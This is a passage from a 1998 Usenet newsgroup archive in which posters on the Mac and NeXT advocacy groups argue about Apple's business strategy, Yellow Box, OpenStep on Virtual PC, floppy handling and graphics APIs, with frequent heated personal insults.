How would Apple's business partners react? Would they be willing to port
Apps to each platform Apple supported? Compare the QA and COS&S to support
a 3->5% market on one platform to supporting a 10->15% market on four or
five platforms. (Let's assume you are right and Apple's market share
triples overnight)
How would Wall Street react to Apple's revenues dropping? My guess is
that they wouldn't be very happy with the idea, especially since hardware
sales are fueling Apple's bottom line right now.
You might want to read a book on scenario planing. Every "Apple goes
software" scenario that I've looked at had horrid sort term ramifications
for Apple, and I doubt Apple could survive them at this point. Apple isn't
strong enough for that radical a business shift, and may never be.
Also keep in mind what happened when Steve Jobs did this while running
NeXT.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 27 Aug 1998 03:21:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s2jb0$oqh@news1.panix.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <35E46BAA.2C74EA52@ericsson.com>
On Wed, 26 Aug 1998 15:10:18 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Oh, don't worry, it's not a strain. After all, most of the people on my
>planet agree with my experience, not with yours. How is it where you
>live?
Most people agree with your experience?
What planet do *you* live on?
I guess when you can not prove your point, you turn to arrogant self
important drivel. This hardly the first time you've done it.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: 27 Aug 1998 03:21:06 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s2jb2$oqh@news1.panix.com>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <6s0ufu$ikd@news1.panix.com> <joe.ragosta-2608980913590001@wil53.dol.net>
On Wed, 26 Aug 1998 09:13:58 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>> According to a salesman at J&R computerworld in Manhattan, many of the
>> wintel folks that might buy an iMac are holding off purchase until Apple
>> (or someone else) offers a way to move files over from their old machines.
>They did. Ethernet.
How many 4+ year old PCs sold for the home market have built in ethernet?
>Or IR.
Ditto.
>Or, connect a cable from one modem to the other.
This would work, but it how many users would know that you can do this?
I've had MIS "experts" tell me that it doesn't work while I showed it to
them...
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 27 Aug 1998 03:22:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s2je6$oqo@news1.panix.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1D93F.6F4892A4@ericsson.com> <6rsm1j$ot6@newsb.netnews.att.com> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <gmgraves-2608981012190001@sf-usr1-19-147.dialup.slip.net> <35E45407.D5B0D1B4@ericsson.com>
On Wed, 26 Aug 1998 13:29:27 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>I feel so vindicated. I mean, I've managed to get personal insults from
>you and Maury Markowitz over this already. I get really juvenile stuff
>from Salvatore Denaro repeatedly, and of course Chuck Swiger has shown
>his hand similarly. What better evidence that this is such a personal
In the past 18 months you have lashed out with personal insults to just
about _everyone_ on csna. Just about every time you are proven wrong
on an issue, you drop down to gutter level and start spewing seven kinds
of crap.
Repeatedly I asked you to refrain from making such comments and you have
refused. When it became apartment that you can not act civil to others,
I decide that you aren't worth the effort it takes to be civil to you.
You reap what you sow. When you start acting like an adult, people will
start treating you like one.
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 27 Aug 1998 03:22:45 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s2je5$oqo@news1.panix.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <35E431B1.C9E36442@brainlink.com>
On Wed, 26 Aug 1998 12:02:57 -0400, Ray Arachelian <sunder@brainlink.com> wrote:
>Apple had two tours of the Xerox Parc project. From these they built the Lisa,
>and later scrapped it for the Mac. (Steve Jobs killing things left and right
>again, just like the recent Newt killing.)
Ray, Long time no see! How's work on that Lisa emulator going? Can you get it
to host a vic-20 emulator yet? ;)
From: "Hanspeter Schaub" <schaub@tamu.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Installing Openstep 4.0 on Virtual PC
Date: Wed, 26 Aug 1998 22:35:50 -0500
Organization: Texas A&M University
Message-ID: <6s2kak$jk4$1@news.tamu.edu>
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NNTP-Posting-Date: 27 Aug 1998 03:37:56 GMT
I'm trying to convert over from a Openstep Intel system to my new Powerbook
G3 series. To still be able to run some of my old Nextstep apps, I'm trying
to install Openstep 4.0 on Virtual PC. Could someone please give me
pointers as to which drivers I am supposed to select here? The VPC program
emulates an IDE CD-Rom and EIDE harddrive, I believe. I tried using these
settings and then the openstep boot process recognizes the harddisk, but not
the CD-ROM drive. It complains that it cannot detect a SCSI CD-Rom drive.
I know that it is possible however to install Openstep/Nextstep on VPC, so
I'd welcome any pointers as to which drivers to select or which steps to
take.
Please email response to schaub@tamu.edu, I usually don't read this
newsgroup anymore.
Thanks a bunch,
HP
schaub@tamu.edu
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: Thu, 27 Aug 1998 04:15:00 GMT
Organization: KU
Message-ID: <3604dd0b.53450296@198.0.0.100>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <6s0ufu$ikd@news1.panix.com> <joe.ragosta-2608980913590001@wil53.dol.net> <6s2jb2$oqh@news1.panix.com>
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On 27 Aug 1998 03:21:06 GMT, sal@panix.com (Sal Denaro) wrote:
>
>How many 4+ year old PCs sold for the home market have built in ethernet?
How many 4 year old PCs can't have ethernet for $30? Answer: damned
few.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 26 Aug 1998 23:27:04 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6s2nar$ek61@odie.mcleod.net>
References: <6s12qi$rk8$1@nnrp02.primenet.com> <B209A282-5D499@206.165.43.52>
The GX rant will never die.
Given a powerful object oriented infrastructure and modern (25 year old)
operating system services and a powerful device independent imaging model,
an object framework that makes GX look like a toy is not only feasible but
has been implemented (probably more than once). Shape classes that can be
rendered multiple times with varying fill styles/ attributes etc. are
insignificant. (If interested see Don Yacktman's Stepwise article
critiquing Draw.app) Trees of shape objects are obvious. Serializing
objects into human readable (standard) ASCII files is well understood.
Hit testing, arbitrary transforms, transparency, color models, fonts, text,
images, etc are all available and readily included in your shape classes. I
am rather glad that for once Apple is providing a rock solid foundation that
I can build upon rather than a horrible mess built on top of shifting sands
and gratuitously non-standard components.
The real power of MacOS-X Server's imaging model and graphics classes is the
fact that they are implemented as REAL objects in a REAL object oriented
infrastructure that allows REAL sub-classing and mixing with other REAL
objects that may have nothing to do with graphics.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 26 Aug 1998 23:32:44 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6s2nle$ek62@odie.mcleod.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com>
Apple is not making more than a few hundred dollars on each PPC shipped.
20%-25% gross margins are common. Apple does not need to drop hardware.
They should sell Rhapsody Intel at whatever price generates the same return
on investment that selling hardware generates. It should not matter to them
if they sell a copy of Rhapsody PC or another PPC unit. They make the same
amount of money either way. Furthermore, selling a few million Rhapsody
Intel seats might actually make PPC hardware MORE attractive.
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 26 Aug 1998 21:45:58 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <slrn6u9p46.joh.jedi@dementia.mishnet>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com>
On 27 Aug 1998 03:21:05 GMT, Sal Denaro <sal@panix.com> wrote:
>On Wed, 26 Aug 1998 15:27:24 -0500,
> Michael Peck <Michael.Peck@ericsson.com> wrote:
>>I've long advocated a
>>more agnostic Apple that was willing to ship its key assets (UI polish,
>>brand name, Yellow Box) on whatever OS, hardware, and in whatever
>>markets seemed to dictate prudence.
>
>Just because you advocate it doesn't mean that it is a sound business
>decision.
>
>The questions you might want to ask are:
>
>How could Apple make money in this scenario? Compare the money Apple makes
>on each Mac sold to the amount it might make on sales of a $100, $250 or
>$1000 OS bundle.
They don't necessarily have to give away the whole store
at once. They can be rather selective at first only releasing
generally what would increase market penetration for hardware
that benefits them and improve their mindshare.
For example: Apple branded USB devices to preceed the iMac
with enhanced driver support for Linux and Windows could have
served to better prepare the peripherals market for the iMac
while taking advantage of PC ubiquity to do it. Also, by
improving USB support on Windows relative to the rather
public failures of Windows itself they could have improved
the reputation of Apple...
>
>How would their competition respond? What if Microsoft made Windows free?
>
Microsoft AND Apple's days would be numbered then...
>How would Apple's business partners react? Would they be willing to port
>Apps to each platform Apple supported? Compare the QA and COS&S to support
>a 3->5% market on one platform to supporting a 10->15% market on four or
>five platforms. (Let's assume you are right and Apple's market share
>triples overnight)
You don't sound like you've ever supported a common source
code base across 3 platforms (or even 7). It's not the nightmare
and cost quandry that you make it out to be. The vast majority
of the time and cost end up eaten up by the reference platform.
>
>How would Wall Street react to Apple's revenues dropping? My guess is
>that they wouldn't be very happy with the idea, especially since hardware
>sales are fueling Apple's bottom line right now.
Why should Apple matter. It's their long term survival they
really need to be interested in. They could do considerably
more business by widening their appeal (especially as a
hardware vendor).
>
>You might want to read a book on scenario planing. Every "Apple goes
>software" scenario that I've looked at had horrid sort term ramifications
>for Apple, and I doubt Apple could survive them at this point. Apple isn't
>strong enough for that radical a business shift, and may never be.
>
>Also keep in mind what happened when Steve Jobs did this while running
>NeXT.
He overpriced the market before & overpriced it afterwards.
That was he doomed to failure in both instances is no
great mystery.
--
Hardly. Microsoft has brought the microcomputer OS to
the point where it is more bloated than even OSes from |||
what was previously larger classes of machines altogether. / | \
This is perhaps Bill's single greatest accomplishment.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Installing Openstep 4.0 on Virtual PC
Date: Wed, 26 Aug 1998 22:20:25 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35E47C10.7BA@earthlink.net>
References: <6s2kak$jk4$1@news.tamu.edu>
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To: Hanspeter Schaub <schaub@tamu.edu>
Hans,
I hope you have better luck than me. It will indeed install and run.
However, it will most likely wind up a useless partiion on your drive.
To be honest, I don't remember the exact drivers needed but they were
two screens past the first list of drivers on the install.
I installed VPC on my 9500/132 when it came out a long time ago. Once I
got the right drivers, it installed, and installed, and installed. It
took a very long time with the 4X CD-ROM. Once installed though it did
run......EXTREMELY SLOW!! Too slow to use. I would imagine your G3
will yield better results (hopefully significantly better). One note,
once installed, your Openstep partition is completely isolated...atleast
that's what I found. Connectix is more concerned with Windows support.
Forget any NeXT questions. They don't support any other OS. VPC
running Openstep 4.2 does not support any SCSI devices including the
CD-ROM (since it's emulating an IDE PC...thanks Connectix!) , or even
the Mac floppy! It doesn't recoginize any other hard drives or any kind
of networking. I have no idea how to put additional apps on the
partition once installed. If anyone else has had more luck with VPC, I
would like to hear about it. Otherwise, it's a nice way to demo
Openstep, but forget actually getting any use out if it!
Steve
Hanspeter Schaub wrote:
> I'm trying to convert over from a Openstep Intel system to my new Powerbook
> G3 series. To still be able to run some of my old Nextstep apps, I'm trying
> to install Openstep 4.0 on Virtual PC. Could someone please give me
> pointers as to which drivers I am supposed to select here? The VPC program
> emulates an IDE CD-Rom and EIDE harddrive, I believe. I tried using these
> settings and then the openstep boot process recognizes the harddisk, but not
> the CD-ROM drive. It complains that it cannot detect a SCSI CD-Rom drive.
> I know that it is possible however to install Openstep/Nextstep on VPC, so
> I'd welcome any pointers as to which drivers to select or which steps to
> take.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 22:59:14 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2608982259140001@sf-pm5-8-72.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <gmgraves-2508981049050001@sf-usr1-60-188.dialup.slip.net> <6rvag9$51t$1@nnrp1.dejanews.com> <gmgraves-2608980958590001@sf-usr1-19-147.dialup.slip.net> <6s284a$k6t$1@nnrp1.dejanews.com>
In article <6s284a$k6t$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2608980958590001@sf-usr1-19-147.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > My original claim was that there were probably no studies comparing the now
> > obsolete OpenStep with Mac/Windows
>
> You stated that "MacOS is the best user experience in computers. It is also
> the most productive OS. This has been proven many times." This is at odds
> with the above statement.
Oh, THAT original statement! I stand by it.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 23:04:28 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2608982304280001@sf-pm5-8-72.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1D93F.6F4892A4@ericsson.com> <6rsm1j$ot6@newsb.netnews.att.com> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <gmgraves-2608981012190001@sf-usr1-19-147.dialup.slip.net> <35E45407.D5B0D1B4@ericsson.com>
In article <35E45407.D5B0D1B4@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> George Graves wrote:
>
> > I've NEVER seen good media
> > fail to mount, be fully accessable or cause the system to crash or
> > hang. If you have, then I suggest you were using a broken computer.
>
> Yadda yadda yadda. And you haven't had a crash in the past month and you
> don't get extension conflicts. Yeah, I've heard all of this before.
Then believe it, JERK!
>
> > If I ran across a volume
> > which failed to mount under PC Exchange, it wouldn't mount on a real
> > PC either. So stop peddling your personal, anecdotal evidence as fact!
>
> This is extreme bullshit. The Readme that came on the hard-disk of a
> 1996 PowerMacintosh 8500/120 straight from Apple said that the PC
> Exchange software on the machine was broken and that we should wait for
> an update from Apple. This is the Readme we found several weeks after
> experiencing the most crashes I have ever seen in such a short period of
> time. We actually bought an extra PC to use as a floppy receiver, so
> that we could transfer files over the network to the Macintosh. The
> software has since improved but has never done a satisfactory job of
> mounting DOS or Win95 diskettes for myself or for any of my
> acquaintances.
Too bad you got a PC exchange that didn't work. I've run sysytem 7.5,
7.55. 7.6, 8.0 8.1 AND 8.5. I've never seen such a readme, nor encountered
a version of PC Exchange which didn't work.
>
> > > Have you mounted floppies on a Unix-like system, before? Run an
> > > exhaustive directory listing ('ls -lR /') and then mount a floppy. Tell
> > > me whether you notice any interruptions in the listing job.
> >
> > So what?
>
> Spoken like a true believer.
>
> > Go back to what?
>
> Your "productive" computing heaven, of course.
>
> > You are in the minority.
>
> Say what?
>
> > For an overwhelming number of people, Macs
> > just work, and work better than PCs.
>
> You're joking.
>
> > That's fact. Your miserable
> > little existence notwithstanding.
>
> I feel so vindicated. I mean, I've managed to get personal insults from
> you and Maury Markowitz over this already. I get really juvenile stuff
> from Salvatore Denaro repeatedly, and of course Chuck Swiger has shown
> his hand similarly. What better evidence that this is such a personal
> matter to you than that you cannot separate my "miserable little
> existence" from my comments? Over and over, the same refrains:
>
> Why do you hate Apple?
> If you hate Apple so much, why do you even care?
> You're a moron.
> You miserable twerp.
> Stop peddling your personal, anecdotal evidence.
> You're stupid, you're ignorant.
>
> Look, don't be so upset. I remember when it was *that* important to me.
> I really believed, and everything. It was so important to me. I remember
> making really embarassing statements like "the Macintosh is the most
> productive computer there is, hands down. Nothing compares".
>
> > Then go peddle your crap elsewhere. Nothing makes me more physically
> > ill than somebody with an axe to grind, usually due to their own
> > stupidity and lack of knowledge.
>
> Nobody's impressed by the tantrums of an infant, least of all me. Get a
> hold of yourself, you're an embarassment to everything you stand for.
You're right. Nobody's impressed by your tantrums. GO AWAY!
George Graves
From: leebum@nottowayez.net (Shelton Garner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 26 Aug 1998 16:11:25 GMT
Organization: Airnews.net! at Internet America
Message-ID: <AFBE0AF1431423D2.369FDB532B04042C.2E29BB71BC8348BE@library-proxy.airnews.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <35A7EFE9.DB0E7AA2@nstar.net>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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NNTP-Posting-Time: Wed Aug 26 11:07:40 1998
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On Sat, 11 Jul 1998 18:06:17 -0500, Michael Peck <mjpeck@nstar.net>
wrote:
>Michelle L. Buck wrote:
>>
>> Yellow Box is dead even if Apple does not abandon it. YellowBox is a custom
>> application development environment chiefly interesting to enterprise
>> customers and a hand full of horizontal app developers. Apple has
>> permanently lost all credibility in the enterprise and there will never be
>> enough YellowBox installations to support high quality horizontal
>> applications. Apple and the YellowBox are dead now at least for my company
>> and the Fortune 100 companies we serve.
>
>I don't think it takes a genius to figure out what Apple's doing at this
>point. Microsoft has finally stumbled with Windows 98, and Jobs has
>realized that Apple finally has a chance to look good as the
>alternative. He's pushing traditional Macintosh technology because he
>doesn't want to blow this; pushing Yellow Box would just confuse the
>issue for those looking for an alternative. Hence, you have a MacOS
>upgrade path, a futuristic OS named MacOS X, a consumer-oriented machine
>(iMac), the Carbon API, and a lot of consumer-oriented advertising and
>overtures to the education market (K-12).
>
>Unfortunately, Jobs seems to have missed the fact that Microsoft has
>also stumbled with NT 5.0. Two enormous opporunities, and Apple's
>management has decided to slug it out on the floor in an arena that's
>well-known to Microsoft, where Microsoft has superior 3rd-party support,
>and where Apple has repeatedly lost in the past.
>
>Oh, well, maybe Apple can win this time. That would be exciting. But
>like Michelle, I don't think my career will ever take me into the arena
>Apple has chosen. Even if Apple wins down in the consumer market,
>Microsoft will still own the enterprise, eventually, which means NT is
>in my future. I guess the $400 million really were for Steve Jobs, not
>for NeXT. He seems to be having a great time, anyway.
Not so fast. Linux is going to cause NT no end of troubles, and there
doesn't seem like there is much MS can do about other than perhapse
relase a Linux edition of INEX.
lee
L. Shelton Bumgarner -- Keeper of the Great Renaming FAQ
Nattering Nabob of Narcissism * http://www.nottowayez.net/~leebum/
ICQ#: 9393354 * "Given two unrelated technical terms, an Internet
search engine will retrieve only resumes." -- Schachter's Hypothesis
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 23:08:19 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2608982308200001@sf-pm5-8-72.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1ohc$9od@newsb.netnews.att.com> <35E489C0.7937F855@ericsson.com>
In article <35E489C0.7937F855@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> > I'm sorry, but if everyone sees things different from you, it may not
> > be that they have their heads in the sand, or that they are trying to
> > fool others out of pride. It may simply be that you are wrong.
>
> That's not exactly the case. You see things differently from me, but
> that hardly concerns me. The fact is that there's technology and other
> value in the Macintosh platform and that just happens to interest me. My
> key concern at this point is deriving some kind of benefit from those
> things, so my criticism comes from a self-interested perspective that
> sees Macintosh technology steadily losing value day by day.
Others of us don't see it that way. Others hate Windows and do not wish
to be lumbered with it. I hate Windows and do not wish to be lumbered
with it. If you like that crap, then go for it (it tells worlds about your
standards, but then that's another story.) be anti mac all you want to.
but just don't do it on CSMA. We'll all be a lot happier.
>
> That's a real waste, but I'm not drinking Kool-Aid. Unfortunately, that
> doesn't escape the attention of a group of people who take the issue
> very personally; if I had to guess, it's a major point of self-esteem.
Then go away, then you won't have to see it!
George Graves
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 26 Aug 98 23:41:33 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B20A4DCE-5131C@206.165.43.176>
References: <6s20q3$oau$1@nnrp03.primenet.com>
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nntp://news.primenet.com/comp.sys.next.advocacy
John Jensen <jjens@primenet.com> said:
>Interesting post. There are certainly a lot of ways to slice 2D and 3D
>APIs, and to support each in a multimedia environment. Left to my own
>devices (and sufficient funding) I think I might favor a "minimum complete
>2D API", with optional libraries atop that. Of course, it might take a
>lot of coffee and dounuts to argue out what a "minumum complete 2D API"
>is.
ONe of the problems with a GX vs a non-GX-style library is that you have to
decide what optimization-features you want to support with low-level
routines, and what you will support with higher-level routines.
For instance, enhanced QuickDraw and Java2D both appear to be based on the
PDF/Bravo model (not suprising since Sun licensed the right to use Bravo
and Apple helped design Display PostScript back when Apple had a different
name). PDF/DPS/Bravo uses the 3x2 transform matrix for all drawing and no
sort of 3D perspective is supported at the lowest level. GX, on the other
hand, supports the same 3x3 matrix found in QuickTime and 3D perspective IS
supported at the lowest levels of drawing, including the retained-mode
optimization strategies, I believe.
And that's the *real* issue: what is a candidate for optimization and where
does one do it?
With GX, the low-level routines apparently know about the existence of
style objects, ink objects and transform objects. They apparently know
about nested viewports and viewport lists (so that rendering can take place
in several different places at once, both on and off-screen) and
clip-shapes (paths) in the transform object and the nested viewport
hierarchy, along with nested transform objects, etc.
How much of this could be put on top of a simpler low-level library like
eQD and how much would need specialized low-level routines for true
efficiency?
Couldn't say.
I *do* know that GX is said to be slower than both DPS and eQD on the same
hardware, but that could easily be explained by the traditional 68K=>PPC
porting problem where a strategy that is an optimization for 68K actually
slows down an implementation on PPC (not to mention the fact that GX's
custom memory manager is still emulated).
I suspect that there's a lot of potential for optimization if a set of
low-level routines is designed around a specific API (ala GX's) but the
tradeoff is obviously flexability vs specific optimizations. Personally, I
think that certain optimizations (e.g. 3x3 matrix and GX-style
transfer/color handling for bitmaps) could be added to eQD with no loss in
generality, but then the question arises: will Apple PO Adobe by creating
Yet Another Illustrator-level API? (and GX *IS* appropriate for creating a
low/mid-level vector app, out-of-the-box -we're working on one right now
for the GXFCN in HyperCard, with a scriptable interface to the static
objects, even).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 26 Aug 98 23:46:24 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B20A4ED3-55056@206.165.43.176>
References: <6s2nar$ek61@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Michelle L. Buck <buck.erik@mcleod.net> said:
>The real power of MacOS-X Server's imaging model and graphics classes is
>the
>fact that they are implemented as REAL objects in a REAL object oriented
>infrastructure that allows REAL sub-classing and mixing with other REAL
>objects that may have nothing to do with graphics.
Sounds nice...
And how is it for printing and sharing of standardized graphic images that
are still editable without a $500-$1000 app? What about trivial things like
editable text, editable transparencies, etc?
That PDF file model looks really good, eh?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 11:50:41 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E43CE1.8ECA609C@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com>
<Ey7nFp.2uK@T-FCN.Net> <35E1D93F.6F4892A4@ericsson.com>
<6rsm1j$ot6@newsb.netnews.att.com> <35E1E5BD.573CEBAB@ericsson.com> <Ey7uMC.6zA@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maury Markowitz wrote:
> > With regard to the speed of I/O operations, Apple writes:
>
> So now the thread is about I/O performance? I thought it was about polling
> the floppy and how it both caused crashes and was "unusable".
Yes.
> By the way, if Arun says something, assume it to be correct.
I have no idea what this means.
> Ahhh, so it IS a performance thread now!
[laugh] Go read the original post.
> > user has little or no choice as to how or when this takes place, apart
> > from inserting the disk.
>
> *coff* Well when else would they?!
[laugh] You really can't think of a reason to want manual mount/unmount
control over volumes?
> > Basically, the user has the bare minimum of control over how the
> > Macintosh uses floppies, and the Macintosh is doing it as poorly as
> > possible.
>
> Yeah, whatever.
I take this as grudging acknowledgement.
MJP
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 27 Aug 1998 10:30:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6s3cgj$sc1$1@nnrp1.dejanews.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <gmgraves-2508981049050001@sf-usr1-60-188.dialup.slip.net> <6rvag9$51t$1@nnrp1.dejanews.com> <gmgraves-2608980958590001@sf-usr1-19-147.dialup.slip.net> <6s284a$k6t$1@nnrp1.dejanews.com> <gmgraves-2608982259140001@sf-pm5-8-72.dialup.slip.net>
In article <gmgraves-2608982259140001@sf-pm5-8-72.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> > You stated that "MacOS is the best user experience in computers. It is also
> > the most productive OS. This has been proven many times." This is at odds
> > with the above statement.
>
> Oh, THAT original statement! I stand by it.
That is why people, like myself, keep coming back to this thread. That
statement is false. Unless all operating systems were tested, how could the
claims made in your first two sentences have been "...proven many times?" You
saying that it is obvious that some operating systems (like Linux and
OpenStep) are less productive is different from proof. Please provide some
proof or a reference to some proof in your next post or concede that your
